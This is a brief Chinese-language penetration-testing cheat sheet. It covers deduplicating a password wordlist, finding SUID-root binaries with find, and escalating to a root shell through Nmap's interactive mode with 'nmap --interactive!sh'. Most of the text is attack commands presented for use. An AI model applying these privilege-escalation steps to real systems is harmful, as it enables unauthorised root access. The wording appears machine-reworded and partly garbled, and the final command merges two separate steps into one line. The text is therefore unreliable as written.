如果字典有很多反复的想去重的话能够间接丢到kali外面执行：

cat 原文件 | sort -u > 新文件

纯熟应用查找suid命令：

find / -user root -perm -4000 -print 2>/dev/null

Nmap(2.02到5.21）有交互模式，容许用户执行shell命令。如果是suid的话能够提权root。

nmap --interactive!sh